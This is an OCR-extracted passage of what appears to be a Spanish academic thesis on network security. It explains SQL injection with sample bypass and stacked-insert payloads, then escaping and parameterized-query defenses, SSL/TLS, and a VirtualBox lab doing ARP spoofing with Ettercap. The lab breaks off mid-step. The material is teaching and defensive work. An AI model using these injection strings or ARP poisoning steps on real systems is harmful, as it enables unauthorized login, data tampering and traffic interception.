</TD></TR></TBODY></TABLE><BR><BR></FORM></TD>
<TD vAlign=top align=left width=10></TD>

<TD vAlign=top align=left width=140>

<TABLE cellSpacing=0 cellPadding=0 width=140 border=0>
<TBODY>

e = L2 T 8 I

En este formulario realiza el tipico HTML que toma los datos y los empuja a unan pagina
ASP, entonces obtendremos la siguiente consulta.

Select * from users where username = 'Angel' and password= ‘338xD’
Este usuario y password que se ha elegido arbitrariamente no existe en la base de datos
que utiliza el sitio para autenticarse entonces aqui empieza la inyeccién vy
aprovechandose de este funcionamiento se podria intentar completar la inyeccion de
cédigo en los campos de usuario y contrasena con algo como ‘or 1=1—
Usuario: ‘or 1=1- -
Password: ‘or 1=1
Entonces luego de haber inyectado la consulta completa quedaria asi:

Select * from users where username = ‘or 1=1 - - and password = ‘or 1=1- -

6.9.3 TECNICAS DE INYECCIONES SQL.

La wvulnerabilidad en la que se basan los ataques de inyecciones SQL se debe
bdsicamente a la existencia de pardmetros en una aplicacion no validos lo

suficientemente bien. La aplicacion emplea valores de parametros dindmicos para
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construir sentencias SQL que lanzara contra una base de datos. El problema se produce
si un usuario consigue introducir cédigo SQL adicional en estos parametros no “zancados”
correctamente. El codigo SQL insertado por el usuario en el gestor de base de datos se
estard ejecutando la sentencia adicional a las previstas por los desarrolladores de la
aplicacion.

6.9.4 SALIENDO DE LA VARIABLES.

Supongamos una consulta que comprueba que un par usuario / contrasefia es correcto,
realizando la siguiente consulta.
Select * from bd_tuto where usuario = '$usuario’ and (password = '$password’);
La idea es que si quien programo la parte que se conecta a la base de datos y hace la
consulta no tuvo especial cuidado podemos “salirnos” de la variable y modificar la
consulta, por ejemplo, si introducimos un usuario cualquiera (‘ejemplo”), pero como
contrasefa introducimos una comilla simple (), la consulta quedaria asi:
Select * from bd_tuto where usuario = 'ejemplo' and (password ="");
Como se puede ver, la consulta es errénea, en la parte de la contrasefia hay:
[...]Jpassword ="";
Se comprueba que “password” es igual a ", pero después esta el comienzo de un dato
alfanumérico que nunca acaba, con lo que tampoco acaba la consulta esto hace que se
produzca un error y la comunicacion con la base de datos no continlie pero ya sabemos

que la aplicacién es vulnerable a este tipo de ataques.

Si afiadimos dos ', este error no se produciria sino que simplemente quedaria un dato
alfanumérico por el medio, normalmente las bases de datos simplemente ignoran ese
dato, por lo que la situacion queda asi:

Select * from bd_tuto where usuario = 'ejemplo’ and (password =" ")

Por ultimo, podemos apoyarnos en el operador or asi que poniendo como contrasefia: ' or

'1'='1, la consulta resultante seria:
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Select * from bd_tuto where usuario = 'ejemplo' and (password =" or '1'="1")
Lo que resultaria son todos los usuarios que se llamen “yo que sé” y para los que la

contrasena sea “ (vacia) o que “1” sea igual a “1”, asi que algun usuario saldra. En este

ejemplo, el fallo permitiria logging como otro usuario.

6.9.5 INYECCIONES CON DATOS NUMERICOS.
Este mecanismo es igual a la técnica saliendo de variables, pero este es aplicado a datos

numeéricos, supongamos que se comprueba que usuario es a traves de un ID (numérico).

Select * from bd_tuto where id = $id;
Lo interesante es que dejan la consulta totalmente expuesta, supongamos que nuestra ID
es 65535, si después de nuestra ID afiadimos un ;' y una consulta, podemos hacer lo que
queramos, por ejemplo, si usamos como una id 65535; insert into bd_tuto values
('nuevoUsuario','nuevaContrasefia’,0), el resultado sera:

Select * from bd_tuto where id = 65535; insert into bd_tuto values

(‘'nuevoUsuario','nuevaContrasefia’,0);
De esta manera en la tabla bd_tuto ahora tiene un usuario mas, el que hemos inyectado,
esto mismo se puede hacer con el otro tipo de datos, simplemente afiadiendo las ' cuando
sea necesario, ademas se puede hacer lo mismo que en el caso anterior poniendo una id
de 65535 or 1=1:

Select * from bd_tuto where id = 65535 or 1=1;

6.9.6 OTRAS TECNICAS DE INYECCION.

Supongamos que por un motivo cualquiera queramos eliminar una porciéon completa de la
consulta a la base de datos, esto es posible porque SQL permite comentarios dentro de
las propias consultas, los dos tipos mas frecuentes son:
= Comentario en una sola linea ( -- ), a partir de esto el resto de la linea se ignorara,
aunque parece que puede dar problemas segun que bases de datos, por ejemplo
MySQL requiere que después haya un espacio en blanco y un caracter, volviendo a la

consulta de usuario/contrasena.

Select * from bd_tuto where usuario = '$usuario’ and password ="$password’;
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Si al final del nombre del usuario se afade un ' (para “escaparse” de la cadena
alfanumérica), se marca que se acabd la consulta con un; y después se afiade un -- a, la
consulta quedaria asi:

Select * from bd_tuto where usuario ='ejemplo' ; --a' and password = '$password’;

» Comentarios multilinea ( /*y */ ), a partir del comienzo del comentario ( /*) y hasta su
final ( */), todo se ignorara, por ejemplo:

Select * from bd_tuto where usuario ='$usuario’' and password = "'$password and
ID=$ID

Si al nombre del usuario se afiade un ' (de nuevo para “escapar’ de la cadena
alfanumérica) y un /* para iniciar el comentario y a su un */ para finalizar el comentario, el
resultado seria:
Select * from bd_tuto where usuario = 'ejemplo’ /*' and password = 'blablabla’ and
ID=65535 */
A veces, con un solo tipo de comentarios, no es suficiente, si en el caso anterior, la ID
fuera alfanumérica:
Select * from bd_tuto here usuario ='ejemplo' /*' and password = 'blablabla’ and
ID="'65535 */ '
La consulta es errénea, asi que no nos sirve, pero si la ID se cambia por un */ , para
acabar el comentario anterior, un ; para acabar la consulta y un -- a para comentar el resto
de la linea:
Select * from bd_tuto where usuario = 'ejemplo' /* ' and password = 'blablabla' and
ID='65535 */; -- a’;
Aunque él; no seria necesario si en la consulta estuviera en una linea independiente,
porque:
Select * from bd_tuto where usuario = 'ejemplo’' /*' and password = 'blablabla’
And ID="65535 */ -- &',

6.9.7 DEFENSA CONTRA ATAQUE DE INYECCION SQL.

= Variable Segura.
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Las defensas contra este ataque consisten en asegurarse de que los datos de entrada
son seguros, como el lenguaje que se usa en estos casos suele ser PHP. La forma de
filtrar la entrada cambia segun el tipo de datos, si es un niumero simplemente hay que
interpretarlo como tal y desechar el resto, por ejemplo, de “65535 or 1=1" pasaria a ser
“65535”.

Esto se puede hacer con $variable_segura = intval ($variable_insegura); O si es un
namero con coma flotante $variable_segura= float_val ($variable_insegura); si es un
dato alfanumérico, solo hay que usar la funcibn mysql _real_escape_string(cadena),

para sanear la cadena.

Lo que hace la funcién mysql_real_escape_string es sanear los caracteres, haciendo que
no tengan ningun significado especial, por ejemplo, un ' significa el final de una variable
alfanumérica, pero con un \ antes (escapado), no significa el final, es solo una comilla en
la variable, asi, con $variable_segura =
mysql_real_escape_string($variable_insegura); Si $variable_insegura es ' or '1'='1,
la variable segura seria \' or \'1\'=\'1l, como se puede ver todo lo que tiene algun
significado en SQL tiene un \ antes, asi que se convierte en un caracter normal.

= Defensacon SQL.
En una consulta SQL mandamos dos parametros, que mediante el lenguaje que elijamos
escribira tal cual le mandemos los parametros:
#EIl usuario y la contrasefia que mandamos son "Error", y se haria esta consulta:
SELECT * FROM “Usuario” WHERE “user’='Error' AND “pass ='Error’
#Y en este ejemplo veremos el resultado de lainyeccidon del SQL
SELECT * FROM ‘Usuario® WHERE “user '='Error' AND “pass’=" UNION SELECT *
FROM "Usuario” WHERE "id” ='1'
Por lo tanto la solucibn genérica seria evitar que se pudieran introducir caracteres
especiales (como comillas) sin haberlas transformado antes (por ejemplo, una comilla
doble: " deberia de transformarse en \" que asi interpretard como texto la comilla y no

como el cardcter que cierra o abre el una texto en la consulta.

= Defensa con PHP.
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En PHP tenemos varias formas de hacerlo, entre ellas para bases de datos MySQL
tenemos la funcion mysqgl_real _escape_string, que afiadiremos en las variables que
introducimos en la consulta:
$respuesta=mysql_query("SELECT * FROM "Usuario® WHERE
‘user'="".mysql_real_escape_string($name)."" AND

‘pass’="".mysql_real_escape_string($password)."™)

= Defensacon .NET
En .NET evitaremos la inyeccion en SQL Server (con C#) estableciendo el tipo de
parametro como literal con SqlDbType.VarChar:
SglConnection con = new SqglConnection(_connectionString);
SglCommandcmd = new SglCommand ("SELECT * FROM Usuario WHERE
user=@user AND pass=@pass", con);
[* Convertimos en literal estos parametros, por lo que no podran hacer la inyeccion
*/
cmd.Parameters.Add(" @user", SqIDbType.VarChar, 32).Value = user;
cmd.Parameters.Add(" @pass", SglDbType.VarChar, 64).Value = password,;

O también podriamos usar AddWithValue de una forma ligeramente similar a la anterior:
Using (SqglConnection con = (acquire connection)) {
Con. Open ();
Using (SqlCommandcmd = new SglCommand ("SELECT * FROM Usuario
WHERE user=@user AND pass=@pass", con)) {
/* Convertimos también en literales los parametros */
cmd.Parameters.AddWithValue(" @user", user);
cmd.Parameters.AddWithValue(" @pass", password);
Using (SqlDataReaderrdr = cmd.ExecuteReader () ){
*[..]1*
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= Defensacon JAVA.
En Java lo que se hace es similar a lo que hemos hecho con C# (en .NET), crear la
consulta con los pardmetros y posteriormente establecerlos (sustituirlos siendo ya estos
un literal, que no produciran fallos de seguridad).
Connection con = (acquire Connection)
PreparedStatement query = con.prepareStatement("SELECT * FROM Usuarios
WHERE user=? AND pass=?");
query.setString (1, user);
query.setString(2, password);
ResultSetrset = query.executeQuery();

= Defensa con PERL.

En Perl usamos la caracteristica place holder que es igual que con los dos ejemplos

anteriores, agregando a la consulta los parametros.

$query = $sql->prepare(" SELECT * FROM Usuarios WHERE user=? AND pass=?");
$query->execute ($user, $password);

= No confiar en la entrada del usuario: Los principales ataques de SQL se producen
en la entrada de un formulario, por tanto no permitir caracteres especiales (las comas,
el punto y coma, guiones dobles).

= No utilizar sentencias SQL construidas dinamicamente: Es una de las puertas de
entrada mas comunes de un ataque de SQL, ya que como vimos en el Gltimo
ejemplo, permite incluir una funcién I6gica que se cumpla en todos los caso, siempre
gque se pueda, es mejor utilizar sentencias almacenadas.

= No utilizar cuentas con privilegios administrativos: En todos los servicios de
servidor podemos definir varios usuarios, aunque no es raro usar el administrador
para hacer las consultas, lo suyo seria que cada usuario pudiera acceder Unicamente
a las tablas y los datos que le pertenecen y no a todos.

* No proporcionar mayor informacion de la necesaria: Los mensajes de Error
ofrecen una ayuda Util para los hackers, ya que por lo general informan mas de la

cuenta y controlarlos mediante excepciones es un buen habito a seguir.
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6.10 SSL (SECURE SOCKET LAYER).

Es un proceso que administra la seguridad de las transacciones que se realizan a través
de Internet. El estandar SSL fue desarrollado por Netscape, junto con Mastercard, Bank of
América, MCI y Silicon Graphics, se basa en un proceso de cifrado de clave publica que
garantiza la seguridad de los datos que se envian a través de Internet. Su principio
consiste en el establecimiento de un canal de comunicacién seguro (cifrado) entre dos

equipos (el cliente y el servidor) después de una fase de autenticacion.

El sistema SSL es independiente del protocolo utilizado; esto significa que puede
asegurar transacciones realizadas en la Web a través del protocolo HTTP y también
conexiones a través de los protocolos FTP, POP e IMAP. SSL actlla como una capa
adicional que permite garantizar la seguridad de los datos y que se ubica entre la capa de

la aplicacion y la capa de transporte.

Las conexiones realizadas por medio de este protocolo tienen las siguientes propiedades

basicas:

= Privada. Después de un proceso inicial de "hand shake" en el cual se define una
clave secreta, se envia la informacion encriptado por medio de algin método
simétrico (DES, RC4).

» Segura. La identidad de cada extremo es autenticada usando métodos de cifrado
asimétricos o de clave publica (RSA, DSS).

= Confiable. El transporte del mensaje incluye un control de la integridad del mismo
usando una MAC cifrada con SHA y MD5.

6.10.1 SSL.

Es un protocolo disefiado para permitir que las aplicaciones puedan transmitir informacion
de ida y de manera segura hacia atras. Las aplicaciones que utilizan el protocolo Secure
Sockets Layer, saben como dar y recibir claves de cifrado con otras aplicaciones, asi

como la manera de cifrar y descifrar los datos enviados entre los dos.
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SSL proporciona autenticacion y privacidad de la informacién entre extremos sobre
Internet mediante el uso de criptografia. Habitualmente so6lo el servidor es autenticado (es

decir, se garantiza su identidad) mientras que el cliente se mantiene sin autenticar.
SSL implica una serie de fases basicas:

= Negociar entre las partes el algoritmo que se usara en la comunicacién.
= Intercambio de claves publicas y autenticacion basada en certificados digitales.

= Cifrado del trafico basado en cifrado simétrico.

Durante la primera fase, el cliente y el servidor negocian qué algoritmos criptograficos se

van a usar. Las implemantaciones actuales proporcionan las siguientes caracteristicas.

= Para criptografia de clave publica: RSA, Diffie-Hellman, DSA (Digital Signature
Algorithm).

= Para cifrado simétrico: RC2, RC4, IDEA (International Data Encryption Algorithm),
DES (Data Encryption Standard), Triple DES y AES (Advanced Encryption Standard);

= Con funciones hash: MD5 o de la familia SHA.
6.10.2 FUNCIONAMIENTO.

El protocolo SSL intercambia registros, opcionalmente cada registro puede ser
comprimido, cifrado y empaquetado con un cdédigo de autenticacion del mensaje (MAC).
Cada registro tiene un campo de content_type que especifica el protocolo de nivel
superior que se esta usando. Cuando se inicia la conexion, el nivel de registro encapsula
otro protocolo, el protocolo hand shake (o protocolo de acuerdo), que tiene el
content_type 22.

El cliente envia y recibe varias estructuras hand shake:

*» Envia un mensaje Client Hello especificando una lista de conjunto de cifrados,
métodos de compresion y la versién del protocolo SSL mas alta permitida. Este
también envia bytes aleatorios que seran usados mas tarde y puede incluir el

identificador de la sesion.
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= Después de recibe un registro Server Hello, en el que el servidor elige los
parametros de conexion a partir de las opciones ofertadas con anterioridad por el
cliente.

» Cuando los parametros de la conexidon son conocidos, el cliente y servidor
intercambian certificados. Estos certificados son actualmente X.509, pero hay
también un borrador especificando el uso de certificados basados en OpenPGP.

= Cliente y servidor negocian una clave secreta (simétrica) comun llamada master
secret, posiblemente usando el resultado de un intercambio Diffie-Hellman, o
simplemente cifrando una clave secreta con una clave publica que es descifrada con
la clave privada de cada uno. Todos los datos de claves restantes son derivados a
partir de este master secret, que son pasados a través una funcion pseudo aleatoria

cuidadosamente elegida.

TLS/SSL poseen una variedad de medidas de seguridad:

= Numerando todos los registros y usando el nimero de secuencia en el MAC.

= Usando un resumen de mensaje mejorado con una clave (de forma que solo con
dicha clave se pueda comprobar el MAC).

= Proteccién contra varios ataques conocidos (incluyendo ataques Man-in-the-middle),
como los que implican un degradado del protocolo a versiones previas o conjuntos de
cifrados mas débiles.

= El mensaje que finaliza el protocolo hand shake (Finished) envia un hash de todos los
datos intercambiados y vistos por ambas partes.

= La funcién pseudo aleatoria divide los datos de entrada en 2 mitades y las procesa
con algoritmos hash diferentes (MD5 y SHA), después realiza sobre ellos una
operacion XOR. De esta forma se protege a si mismo de la eventualidad de que

alguno de estos algoritmos se revelen vulnerables en el futuro.

6.10.3 APLICACIONES DE PROTOCOLO SSL.

SSL se ejecuta en una capa entre los protocolos de aplicacion como HTTP, SMTP, NNTP
y sobre el protocolo de transporte TCP, que forma parte de la familia de protocolos

TCP/IP. Aunque pueda proporcionar seguridad a cualquier protocolo que use conexiones
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de confianza (tal como TCP), se usa en la mayoria de los casos junto a HTTP para formar

HTTPS. HTTPS es usado para asegurar paginas World Wide Web para aplicaciones de

comercio electrénico, utilizando certificados de clave publica para verificar la identidad de

los extremos. Otra aplicacion con creciente uso de TLS es SMTP. TLS es también el

método estandar para proteger la sefializaciébn de aplicaciones con Sesion Initiation

Protocol (SIP) y también puede ser usado para tunelizar una red completa y crear una red

privada virtual (VPN), como en el caso de Open VPN.

6.10.4 VENTAJAS Y DESVENTAJAS DE SSL.

VENTAJAS.

SSL goza de gran popularidad y se encuentra ampliamente extendido en internet ya
que vienen soportado por los dos principales navegadores de mercado que son
Netscape Navegador 3.0 asi como por Internet Explorer 3.0.

Actualmente es el sistema mas utilizado para garantizar pagos seguros por internet.
El usuario no necesita realiza ninguna accion especial para invocar el protocolo SSL,
basta con seguir un enlace o abrir una pagina con una direcciébn que empieza con
https: //, y el navegador se encargara del resto.

Proporciona un canal de comunicaciones seguro entre los servidores Web y los
clientes pero su uso no se limita a la transmisién de paginas Web. Al contratarse
entre los niveles de transporte y de aplicacién potencialmente SSL puede servir para

dar seguridad a otros servicios como Ftp, correo electrénico.

DESVENTAJAS.

Dentro del comercio electrénico si bien es cierto que SSL ofrece un sistema seguro
para él envié y cifrado de los nimeros de tarjetas de crédito también lo es que carece
de la capacidad para proteger otros aspectos de la actividad comercial.

Es importante recalcar que SSL solo concede una proteccién parcial ya que garantiza
la integridad y confidencialidad de los datos Unicamente durante el transito de los

mismos pero no los protege una vez que los mismos son recibidos por el servidor.
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= SSL no soporta aplicaciones en tiempo real y no permite comparticion de ficheros.
6.10.5 DIFERENCIA ENTRE IPSEC Y SSL.

Tanto IPSEC como SSL son dos buenas alternativas para la empresas en lo que a
comunicaciones segura se refiere, estas pueden beneficiarse de usar IPSEC y SSL en
sus redes privadas virtuales al aplicar cada tecnologia apropiadamente, sin embargo
estas dos tecnolégicas tienen algunas diferencias entre las principales podernos citar las

siguientes:

= [Psec es un conjunto de protocolos de seguridad operando al nivel de la capa de red,
mientras que SSL es un protocolo de seguridad que trabaja sobre el protocolo TCP y
por debajo de los protocolos como Http, Imap, Ldap.

= Debido a que SSL trabaja en una capa superior que IPsec tiene menos bits que cifrar
aungue esto ocasiona una diferencia en el rendimiento, esto no da ninguna ventaja
en la practica a SSL.

= Enlas VPN IPsec el usuario tiene acceso a todos los servicios de la red mientras que

en VPN SSL el usuario tiene acceso a un solo servidor/aplicacion.

La mejor eleccibn de una u otra tecnologia depende de los requerimientos de la
organizacion o empresa, asi como de la infraestructura de la misma, también se deben
tomar en cuenta factores importantes como el rendimiento y el nivel de uso. Tanto IPSEC
como SSL son tecnologias confiables y eficaces que pueden ser usadas para proveer
seguridad en comunicaciones altamente sensibles, cada una de estas tecnologias tienen
sus ventajas y desventajas y su mayor rendimiento dependera del escenario en el que se

encuentre operando
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7 DISENO METODOLOGICO.

Como primer paso se definen conceptos tedricos lo cuales son necesarios comprender
para poder entender el funcionamiento de los diferentes ataques a abordar.
Posteriormente se procede a describir manera te6rica como funcionan los ataques
estudiados.

Luego de haber completado lo que a teoria respecta se disefiaran diferentes escenarios,
los cuales estardn adaptados de manera controlada para ser propensos al atague que en
ese momento se estara tratando. En la mayoria de casos se trabajara de manera virtual,

utilizando VirtualBox para este fin.

Finalmente se realizan y explican una serie de practicas, las cuales son una guia para
montar un ataque en el escenario planteado. Ademas de ejecutar un atague se proponen

diferentes métodos para dar seguridad ante el ataque.
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8 CONCLUSIONES.

En la realizacién de este trabajo investigativo hemos profundizado diferentes tipos de
atagues que afectan grandemente a las empresas en el mundo, en donde los servicios
son atacados provocando una inestabilidad en su buen funcionamiento y provocando de
esta manera una gran pérdida tanto en la produccion de las empresas, como en la

informacién que viaja a través de los diferentes enlaces de comunicacion.

Sin importar la magnitud del tamafio de la empresa todas pueden ser victimas de ciertos
ataques desarrollados por personas con intenciones maliciosas, la seguridad informéatica
es la ciencia que busca la manera de mantener seguro los diferentes sistemas
informaticos utilizando mecanismos de proteccion tanto con la ayuda de hardware como
software que permitan al administrador de los sistemas controlar y mantener la seguridad

en sus redes de comunicaciones.

A lo mejor no se cuente con una seguridad 100% efectiva, esto es debido a que siempre
se contara conciertas vulnerabilidades en los sistemas, ademas se contara con nuevas
herramientas y mecanismos que utilicen los atacantes para realizar sus actividades pero
sin embargo se puede proporcionar una garantia en dichos ataques no logren sus
objetivos de la manera deseada. Todo dependera de la manera y mecanismos que el
administrador utilice, para garantizar de manera eficaz la seguridad de las redes de

comunicaciones dentro y fuera de la empresa.

La mejor solucién contra estos tipos de ataques seria que la gente no realizara estas
actividades delictivas, pero esto no podria ser posible, por lo cual hay que tratar de
defenderse y solucionar todos los problemas posibles que perjudiquen la estabilidad del
sistema, proporcionando mejores mecanismos, técnicas y un personal calificado que
defienda los sistemas contra cualquier actividad que ponga en riesgo la productividad de

la empresa.
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9 RECOMENDACIONES.

= Comprobar y delimitar el perimetro para la mitigacion de un ataque.

» Necesidad de emplear tecnologias de seguridad complementarias.

= Estar preparado para contra atagques con un sistema proactivo de defensa y a la vez
ofensivo.

= Tener contrasefias con una mezcla de letras y nUmeros, cambiarlas con frecuencias.

= Utilizar una solucién de seguridad de internet que combine antivirus, firewall,
deteccién de intrusos y gestion de vulnerabilidades para brindar maxima proteccién
contra cédigo malicioso y otras amenazas.

= Tener parches de seguridad actualizados y que se apliguen oportunamente.

= Emplear estrategias de defensa a profundidad.

= Apagar y eliminar servicios que no son necesarios.

* |mplementar soluciones de acceso y cumplimiento de politicas de red.

= Creary establecer politicas efectivas de contrasefias y control de dispositivos.

= Asegurarse que los procedimientos de emergencias estén vigentes.

= Aplicar las diferentes medios de defensas que fueron mencionado en los diferentes
capitulos de este trabajo investigativo.
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11.1 PRACTICA: ATAQUE ARP SPOOFING.

Introduccion.

Esta practica consiste la realizacién del ataque de capa 2 (capa de enlace), Arp Spoofing.
Dicho ataque se realizara de manera virtual con la ayuda de Virtual Box y 2 maquinas
virtuales, el ataque se implementara con la ayuda de la herramienta de Ettercap bajo la
plataforma de Linux y finalizando el analisis del trafico con la herramienta de Wireshark.

El ARP Spoofing, también conocido como ARP Poisoning o ARP Poison Routing, es
una técnica usada para infiltrarse en una red Ethernet conmutada, que puede permitir al
atacante leer paquetes de datos en la LAN, modificar el trafico o incluso detenerlo. El
principio del ARP Spoofing es enviar mensajes ARP falsos a la Ethernet. Normalmente la
finalidad es asociar la direccion MAC del atacante con la direccién IP de otro nodo, como

por ejemplo la puerta de enlace predeterminada.

Objetivos.

e Demostrar con ayuda de la simulacion la realizacion del ataque.

e Llevar a cabo el ataque con la herramienta Ettercap.

e Realizar el analisis del trafico con la ayuda de Wireshark.

¢ Brindar conocimientos de ARP (protocolo de resolucién de direccion).

¢ Brindar una solucion con la ayuda de la herramienta ArpWatch.
Requerimientos para la realizacion de la préactica.

e Tener instalado algtn programa de virtualizacién por ejemplo Virtual Box.

e Tener instalado un Backtrack 5 o superior.

e Contar con dos maquinas virtuales que seréan las victimas por ejemplo: Windows
xp y Ubuntu Server.

e Tener instalados un analizador de protocolo en por ejemplo: Wireshark.

e Contar con la herramienta para realizar el ataque por ejemplo: Ettercap.
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Desarrollo.

El protocolo de resolucion de direcciones (ARP), es un protocolo de bajo nivel utilizado

para hacer las direcciones dindmicas, es el encargado de traducir direcciones IP de 32

bits, a las correspondientes direcciones hardware generalmente de 48 bits en dispositivos

Ethernet, permite que el cliente que solicita el servicio encuentre la direccion fisica del

cliente destino en una red fisica similar dando solo la direccién IP de este. Estas

direcciones se almacenan en una memoria temporal llamada Cache ARP a la que se van

incorporando las nuevas direcciones IP a medida que van llegando, el software ARP

mantiene las tablas que relacionan las direcciones IP con las direcciones fisicas.

Escenario arealizar.
Victimas:

Ubuntu Server:
Windows Xp:

Atacante Backtrack:

192.168.56.101.
192.168.56.102.
192.168.56.103

Ubuntu Linux
192 168 56 101

Realizando la practica.

Atacante Backirack
192 168 56 103

llustracion 29: Escenario Arp Spoofing.

Windows Xp
192 168.56_102

Abrir la herramienta virtual box y luego crear una red anfitrién en Virtual Box y que nos

permita adquirir direcciones dindmicas IP a través del servidor Dhcp. Luego hay que

comprobar las direcciones IP de las maquinas victimas a través de IPCONFIG en

Windows y ifconfig en Ubuntu server.
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CC» Copyright 1985-2801 HMicroszoft Corp.
sxDocuments and Settings~Admin>ipconfig

onfiguracidn IP de Windows

[

Adaptador Ethernet Conexidn de Area local

Sufijo de conexidn especifica DHS
Direccdion IP. _ _ _ _ . _ . . _ .
Mascara de subred - _ . _ . . _ .
Puerta de enlace predeterminada

192.168_.56.182
255.255._.255.8

s JIDocuments and Settings“Admin>

llustracion 31: Determinando la Direccién IP y Mascara de Subred.

rootEubuntu : Ahomesrodolfolt ifconf ig
Link encap:Ethernet HWaddr 08:00:27:cl1:4d4:96
inet addr:192.168.56.101 Bcast:192.168.56.255 Mask:255.7255.255.0
inett addr: fef0::a00:27ff fecl:4496-649 Scope:Link
UP BROADCAST RUMMING MULTICAST MTU:1500 Metric:1
RX packets:Z errors:0 dropped:0 overruns:0 frame:0
TX packets:8 errors:0 dropped:0 overruns:0 carrier:Q
collisions:0 txgqueuelen:1000
BX byte=s:1180 (1.1 KB) TX bytes:1152 (1.1 KB}

llustracion 30: Determinando las direccion IP y Mascara de Subred, Linux.

Luego procedemos a realizar una prueba de conectividad con el comando PING para
determinar si ambas maquinas se comunican y asi lograr el ataque.

:sDocuments and Settings“Admin}ping 122.168.56.1681
aciendo ping a 192.168.56.181 con 32 bytes de dato

desde 192_168.56_.181: byte=z=32 tiempo=3ms
dezsde 192.168.56.181: bytez=32 tiempo=2ms
desde 192.168.56.181: bytes=32 tiempo=1ims
dezsde 192_168.56_.181: byte=z=32 tiempo=2ms

z de ping para 192.168.56.181:
Paguetes: enviados = 4, recibidos = 4, perdidos
{Ax perdidos).
iempos aproximados de ida v vuelta en milisegundos:
Minimo = 1ms, Maximo = 3ms,. Media = Zms

nDocuments and SettingssAdmin>

llustracion 32: Ping 192.168.56.101 en terminal de Windows.

rootEubuntw i ~homesrodolfoft ping 192.168 .56 . 102
ING 192 .168 .56.102 (192 .168 .56.102) 56(84) bytes of data.
bytes from 192 .168.56.10Z: icmp_seqg=1 ttl1=1Z8 time=1.
bytes from 192.168.56.102: icmp_seq=2Z tt1=128 time==.
bytes from 192 .168.56.10Z: icmp_=seq=3 ttl=12Z8 time=1.
bytes from 192.160.56.102: icmp_seq=4 tt1=128 time==Z.

bytes from 192 _ 168 .56.102: icmp_seq=5 tt1=128 time==.

— 192.168 .56 .102 ping statistics ——
packets transmitted., 5 received, 0« packet loss, time 4009ms
rtt mincavg-max-smdew = 1.418-1.901-2 2120 . 276 m=s

llustracion 33: Ping 192.168.56.102 en terminal de Ubuntu server.
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Se puede lograr observar que ambas maquinas tienen comunicacion, procedemos a
obtener la resolucion de direcciones con la ayuda del protocolo arp y asi poder observar
cuales son las MAC ADDRESS que originalmente tienen ambas maquinas antes del
ataque. Este ejercicio se podra realizar con el comando arp —a en ambas maquinas y a si

obtendremos la resolucion.

Windows.
L WINDOWS! system32, cmd.exe

s»Documents and Settings“~Admin>arp —a
Interfa=: 192 _168_56.1802 ——— Gx180003
Direccion IP Direccidn fisica Tipo
192 _168.56.181 B8-HE—27—cl—4d-?6 dinamico

:s»Documents and Settings>~Adminl_

llustracion 34: Determinando la direccion MAC Windows.
Se puede observar que la maquina de Windows al realizar arp —a su interfaz de conexién

tiene una direccion IP 192.168.56.102 y en su tabla arp conoce de otro sistema terminal
con la direccién IP 192.168.56.101 con una direccion MAC 08-00-27-c1-4d-96.

Ubuntu

root@ubuntu:/home/rodolfolt arp -a
(192.168.56.102) at 08:00:27:a4:64:b8 [ether] on ethd

root@ubuntu:/homesrodolfolt _

llustracion 35: Determinando la direccion MAC Linux.

Se puede observar que la maquina de Ubuntu al realizar arp —a en su tabla arp conoce de
otro sistema terminal con la direccion IP 192.168.56.102 con una direccion MAC 08-00-
27-a4-64-b8. Teniendo toda esta informacion procedemos a realizar el ataque y tenemos

gue ejecutar la herramienta de Ettercap.

llustracion 36: Interfaz de la herramienta Ettercap.
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En el menud Sniffer y seleccionamos Unified Snifing, es para seleccionar la interfaz de la
tarjeta de red que queremos sniffer. (ethO es para Ethernet, wlan0O, vboxnetO) se debe
considerar que hay que estar asociado a la red que se quiere sniffer. En nuestro caso

debido a estar utilizando una interfaz virtual proporcionada por Virtual Box seleccionamos

vboxnetO y aceptar.
2 8 ettercap Input

9 Metwork interface : | Wboxneto v

Aceptar Cancelar

llustracion 37: Herramienta Ettercap, buscando la interfaz de red vboxnetO.

Ahora tendremos que realizar un scan de todos los host que se encuentran conectado a la
red y asi poder seleccionar las victimas. En el meni HOST y luego en Scan for host y se

podran obtener todas las maquinas que se encuentran en la red.

IPAddress  MACAddress  Description
192.168.56.100 08:00:27:68.E0.CF
192.168.56.101 08:00:27:C1:4D:%6
192.168.,56.102 06:00:27:A4:64:88

llustracion 38: Lista de direcciones IP y MAC de la red.

Se puede observar todas las maquinas que se encuentran dentro de la red, obteniendo a
si la direcciéon IP y su respectiva direccion MAC. Luego procedemos a agregar cada
direcciébn IP a un target, en el mend Target, Current targets, por ejemplo: la
192.168.56.101 a la tarjetal y le damos clic en Add to Target 1, luego la 192.168.56.102
a latarjeta 2 y le damos clic en Add to Target 2.
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Host List m  Targets W
Target 1 Tanget

192 168 %6. 101 L9F. 158 55 103

1698 tcp 05 fingerprink

2183 known services

[Randomizing 255 hosts for scanning...

Scanning the whole netmask for 255 hosts...

3 hosts added to the hosts list...

Host 192.168.56.101 added to TARGET1

Host 192.168.56.102 added to TARGETZ2

llustracion 39: Seleccionando la direccion IP correspondiente a las maquinas que seran atacadas con la suplantacion
arp.

Luego en el ment Mitm y seleccionamos Arp Poison y chequeamos Sniff remote

= S8 MITM Attack: ARP Poisoning
Optional parameters D;“
Sniff remote connections.

Only poison one-way.

connections y ok.

llustracién 40: Seleccionando la opcién Sniff remote connections.

Luego en el menu Start y start Snifing, se inicia el ataque y se puede observar el
mansaje en la parte inferior de Ettercap (starting inified snniffing).

RP poisoning victims:

GROUP 1 : 192.168.56.101 08:00:27:C1:4D:96

GROUP 2 : 192.168.56.102 08:00:27:A4:64:B8
Starting Unified sniffing...

llustracion 41: Lista de direcciones IP correspondientes a sus grupos.
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Para comprobar que el atague se esta realizando correctamente tenemos que revisar el

plugins, en el menu plugins elegimos check Poison.

Name wWersion Info

arp_cop 1.1 Report suspicious ARP activity

autoadd 1.2 Automatically add new wictims in the target range
chk_poison 1.1 Check if the poisoning had success

dns_spoof 1.1 Sends spoofed dns replies E§
dos_attack 1.0 Run a d.o.s. attack against an IP address

durmrmy 3.0 A plugin template (for developers)

find_conn 1.0 Search connections on a switched LAN
find_ettercap 2.0 Ty to find ettercap activity

find_ip 1.0 search an unused IP address in the subnet

finger 1.6 Fingerprint a remote host

finger_submit 1.0 Submit a fingerprint to ettercap's website
gre_relay 1.0 Tunnel broker for redirected GRE tunnels

llustracion 42: Lista de Plugins que pueden ser seleccionados para realizar el ataque.

Se puede observar que al momento de seleccionar el plugins check_poison en la parte
inferior de ettercap aparece un mensaje notificando que el Proceso de Poisonig fue

realizado con exitoso. (ck_poison: Poisonig process succesful!).

ctivating chk_poison plugin...
chk_poison: Checking poisoning status...
